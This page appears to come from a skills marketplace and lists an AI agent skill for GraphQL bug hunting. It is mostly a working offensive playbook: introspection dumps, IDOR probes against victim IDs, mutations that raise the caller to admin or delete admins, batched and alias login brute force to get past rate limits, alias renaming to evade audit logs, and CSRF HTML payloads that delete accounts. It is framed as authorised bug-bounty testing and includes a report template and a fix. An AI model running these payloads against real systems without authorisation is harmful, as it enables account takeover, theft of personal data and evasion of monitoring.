agentsclimarketplace

18 graphql

Skill 0xGhostCAT/claude-ai-cyber-security-skills/skills/18-graphql

Hunt GraphQL-specific vulns — introspection abuse, field-level authorization (IDOR), batched queries for brute force, alias-based rate limit bypass, deep query DoS, mutation injection, schema disclosure, suggestion leakage, CSRF via GET, and CSRF via POST without preflight. Use when a GraphQL endpoint is present.From its SKILL.md

Install
npx -y skills add 0xGhostCAT/claude-ai-cyber-security-skills --skill 18-graphql

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.

SKILL.md

11.2 KB, ~2.8k tokens by cl100k_base, as published. Nobody here has run it

GraphQL Hunting

One endpoint, infinite attack surface. The IDOR factory.

When to invoke

Trigger phrases:

  • "test GraphQL"
  • "graphql introspection"
  • "graphql IDOR"
  • "find graphql"

Detection

# Common GraphQL paths
for path in /graphql /graphiql /api/graphql /v1/graphql /v2/graphql /api/v3/graphql /query /api/query /__graphql /altair; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$path")
    [[ "$code" != "404" ]] && echo "[$code] $path"
done

# Or use graphw00f
graphw00f -t https://target.com/graphql -d
# Identifies the GraphQL implementation (Apollo, Hasura, Graphene, etc.)

Common GraphQL paths (try all):

/graphql
/api/graphql
/v1/graphql
/v2/graphql
/query
/api/query
/graphql/v1
/graphqlv1
/altair
/graphiql
/graphiql.html
/__graphql
/api/2/graphql
/api/internal/graphql
/admin/graphql

Step-by-Step Workflow

1. Detect & fingerprint engine

# graphw00f tells you which engine
graphw00f -t https://target.com/graphql -d

# Output:
# [+] Discovered Implementation: Apollo Server

Different engines have different bugs:

EngineCommon bugs
Apollo Serverintrospection on by default in dev, no depth limit by default
Hasuradirect DB access if misconfigured, JWT secret leakage
Graphene (Python)schema disclosure, no rate limit
GraphQL Yogadepth/breadth attacks
AWS AppSyncresolver IAM issues
Sangria (Scala)introspection, query complexity

2. Introspection — get the schema

If introspection is on, you get the full API map:

# Manual
curl -X POST https://target.com/graphql \
    -H "Content-Type: application/json" \
    -d '{"query":"query{__schema{types{name,fields{name,type{name,kind,ofType{name,kind}}}}}}"}'

# Or full introspection (use the standard query)
cat > introspection.json <<'EOF'
{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"}
EOF
curl -X POST https://target.com/graphql \
    -H "Content-Type: application/json" \
    -d @introspection.json | jq . > schema.json

# View with GraphQL Voyager (https://ivangoncharov.github.io/graphql-voyager/)
# Or convert to SDL with graphql-cli

3. If introspection disabled — use clairvoyance

git clone https://github.com/nikitastupin/clairvoyance
cd clairvoyance
pip install -r requirements.txt

# Brute-force schema using suggestion leakage
python3 -m clairvoyance \
    -u https://target.com/graphql \
    -o schema.json \
    -w ~/tools/SecLists/Discovery/Web-Content/graphql.txt

Some engines respond to "did you mean X" suggestions on bad queries — clairvoyance exploits this.

4. Field-level IDOR (the most common GraphQL bug)

GraphQL fields are often auth-checked at the top level but not at nested fields.

# May work even when /api/user/{id} is forbidden
{
  user(id: "VICTIM_ID") {
    email
    phoneNumber
    paymentMethods { last4 }
    notifications { content }
  }
}

# Try every "lookup-by-id" field on every type
{ project(id: "X") { ... } }
{ order(id: "X") { ... } }
{ document(id: "X") { ... } }
{ organization(id: "X") { members { email } } }

Map all Query.*ById from the schema, throw victim IDs at each.

5. Mutation-based attacks

# Promote yourself to admin (if `role` is mutable)
mutation { updateUser(id: "MY_ID", input: { role: "admin" }) { id role } }

# Update someone else's profile
mutation { updateUser(id: "VICTIM_ID", input: { email: "[email protected]" }) { id email } }

# Delete admin
mutation { deleteUser(id: "ADMIN_ID") { success } }

# Spam endpoint via batched mutation
[
  {"query": "mutation { sendEmail(to: \"[email protected]\") { id } }"},
  {"query": "mutation { sendEmail(to: \"[email protected]\") { id } }"},
  ...
]

6. Batched queries for brute-force / rate-limit bypass

[
  {"query": "mutation { login(email: \"[email protected]\", password: \"pass1\") { token } }"},
  {"query": "mutation { login(email: \"[email protected]\", password: \"pass2\") { token } }"},
  {"query": "mutation { login(email: \"[email protected]\", password: \"pass3\") { token } }"},
  ...
]

Many GraphQL servers rate-limit on request count, not operation count. 1 request, 1000 operations = bypass.

7. Alias-based brute force

mutation {
  a1: login(email: "[email protected]", password: "pass1") { token }
  a2: login(email: "[email protected]", password: "pass2") { token }
  a3: login(email: "[email protected]", password: "pass3") { token }
  # ...
}

Same: one HTTP request, many login attempts.

8. Deep query DoS

{
  user(id: "X") {
    posts {
      author {
        posts {
          author {
            posts {
              # ... 50 levels deep
            }
          }
        }
      }
    }
  }
}

If no depth limit → server spends CPU/memory. (Don't actually DoS production — note as theoretical or report with controlled test.)

9. Field suggestion leakage

{ userr(id: "x") { id } }      # typo `userr`
# Response: "Did you mean 'user'?"

Even with introspection off, suggestions leak schema. Document these as info leak.

10. Authorization bypass via aliases

Some apps log/audit loginUser operations. Renaming via alias evades:

mutation {
  notReallyLogin: loginUser(email: "[email protected]", password: "x") { token }
}

Same operation, different "name" in logs.

11. CSRF via GET (GraphQL over GET)

Most GraphQL clients POST. But some servers also accept GET — vulnerable to CSRF since browsers send credentials.

<img src="https://target.com/graphql?query=mutation+%7BdeleteAccount%7D">

12. CSRF via POST without preflight

If the GraphQL endpoint accepts Content-Type: application/x-www-form-urlencoded or text/plain, no CORS preflight triggers:

<form method="POST" action="https://target.com/graphql" enctype="text/plain">
  <input name='{"query":"mutation{deleteAccount}"}' value="">
</form>

13. Tools

# inql (Burp extension + standalone)
# Captures GraphQL → renders schema → generates queries

# graphql-cop (security testing)
git clone https://github.com/dolevf/graphql-cop
python3 graphql-cop.py -t https://target.com/graphql

# GraphQLmap (interactive shell)
python3 GraphQLmap.py -u https://target.com/graphql

Quick offense queries cheat

# Schema dump (introspection)
{__schema{queryType{name},mutationType{name},types{name,kind,fields{name,type{name,kind}}}}}

# Field probing for IDOR
{user(id:"BBBB"){id,email,role}}
{order(id:"BBBB"){id,total,user{id,email}}}
{organization(id:"BBBB"){id,members{email,role}}}

# Privilege escalation via mutation
mutation{updateUser(id:"MY_ID",input:{role:"admin"}){role}}
mutation{updateRole(userId:"MY_ID",role:"admin"){success}}

# Information disclosure via fields
{me{id,email,role,tenant{id},apiKeys{key},stripeId}}

# Hidden admin queries
{adminUsers{id,email}}
{internalConfig{stripeSecretKey,jwtSecret}}

Output template

## Critical: IDOR in GraphQL `user` field → bulk email/PII disclosure

### Summary
The `user(id: ID!)` query in the GraphQL schema does not enforce object-level authorization. Any authenticated user can read other users' email, phone number, address, and payment method last-4 digits by querying by ID.

### Steps to reproduce
1. Log in as Account A (your own account)
2. Capture the GraphQL endpoint's `Authorization` header
3. Send this query against `POST https://target.com/api/graphql`:
   ```http
   Authorization: Bearer A_TOKEN
   Content-Type: application/json

   {"query":"{ user(id:\"BBBB-VICTIM-ID\"){ id email phoneNumber address paymentMethods{ last4 brand } } }"}
  1. Response:
    {
      "data": {
        "user": {
          "id": "BBBB-VICTIM-ID",
          "email": "[email protected]",
          "phoneNumber": "+1-555-1234",
          "address": "123 Main St, Anytown, USA",
          "paymentMethods": [{"last4":"4242","brand":"visa"}]
        }
      }
    }
    

Impact

  • Any authenticated user can enumerate all 2M+ user accounts by iterating IDs
  • PII disclosed: email, phone, address, payment method
  • Phone + email enables credential stuffing / SIM swap targeting
  • GDPR/CCPA compliance impact

Suggested fix

  • Add authorization check at the user resolver: if (request.user.id !== id && !request.user.isAdmin) throw ForbiddenError
  • Audit all Query.*ById resolvers for similar issues

## Cross-references

- `[[idor-hunting]]` — GraphQL is the world's biggest IDOR factory
- `[[content-discovery]]` — find /graphql endpoints
- `[[auth-bypass]]` — GraphQL auth bypass tricks
- `[[js-analysis]]` — embedded GraphQL queries in JS

## Common pitfalls

1. **Treating introspection-disabled as "safe".** Use clairvoyance to recover schema.
2. **Reporting introspection alone.** Most programs treat it as informative unless paired with another bug.
3. **DoSing with deep queries on production.** Just don't. Report as theoretical with limited PoC.
4. **Missing alias-based brute force.** This is a quiet pay class.
5. **Not testing mutations as much as queries.** Mutations = highest-impact bugs.

## graphw00f → engine-specific guide

```bash
graphw00f -t https://target.com/graphql -d
# Engine: Apollo Server

# Now check known Apollo bugs:
# - Introspection in production?
# - Apollo Studio enabled?
# - Resolver-level auth bypass?
# - Cache poisoning on persisted queries?

For each engine, see docs/tool-cheatsheets/graphql-engines.md.

"Should I report introspection?"

ContextSubmit?
Introspection enabled on prod + schema reveals admin queriesYes (low/med info)
Introspection enabled + you found IDOR using itYes — chain
Introspection enabled but only basic queriesMost programs reject as informative
Introspection enabled on dev env (e.g., dev.target.com)Usually informative

Burp extension setup

Install InQL from BApp Store. It:

  • Sends introspection queries automatically
  • Decodes GraphQL POST bodies (otherwise they're just JSON blobs)
  • Generates one-click "send each query as test" templates
  • Integrates with Repeater for fast probing

What ships with it

Read from the repository

Just SKILL.md. No reference files, no scripts.

Keep looking

Skills are one crate of 325,949. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.